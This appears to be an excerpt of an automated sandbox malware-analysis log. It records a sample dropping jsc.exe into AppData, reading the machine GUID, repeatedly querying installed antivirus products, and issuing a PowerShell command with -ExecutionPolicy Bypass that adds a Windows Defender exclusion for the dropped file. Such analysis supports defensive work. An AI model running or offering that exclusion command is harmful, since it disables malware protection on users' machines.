Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\jsc.exe'	Jump to behavior

Source: C:\Users\user\Desktop\3SBlY301oa.exe	Queries volume information: C:\Users\user\Desktop\3SBlY301oa.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jsc.exe	Queries volume information: C:\Users\user\AppData\Roaming\jsc.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\jsc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.JScript\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.JScript.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\jsc.exe	Queries volume information: C:\Users\user\AppData\Roaming\jsc.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\jsc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.JScript\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.JScript.dll VolumeInformation

Source: C:\Users\user\Desktop\3SBlY301oa.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: Amcache.hve.7.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.7.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.7.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.7.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: jsc.exe, 00000003.00000002.3786253130.0000000000D77000.00000004.00000020.00020000.00000000.sdmp, jsc.exe, 00000003.00000002.3806247170.0000000006B45000.00000004.00000020.00020000.00000000.sdmp, jsc.exe, 00000003.00000002.3786253130.0000000000DCE000.00000004.00000020.00020000.00000000.sdmp, jsc.exe, 00000003.00000002.3786253130.0000000000DB8000.00000004.00000020.00020000.00000000.sdmp, jsc.exe, 00000003.00000002.3806247170.0000000006B20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: Amcache.hve.7.dr	Binary or memory string: MsMpEng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
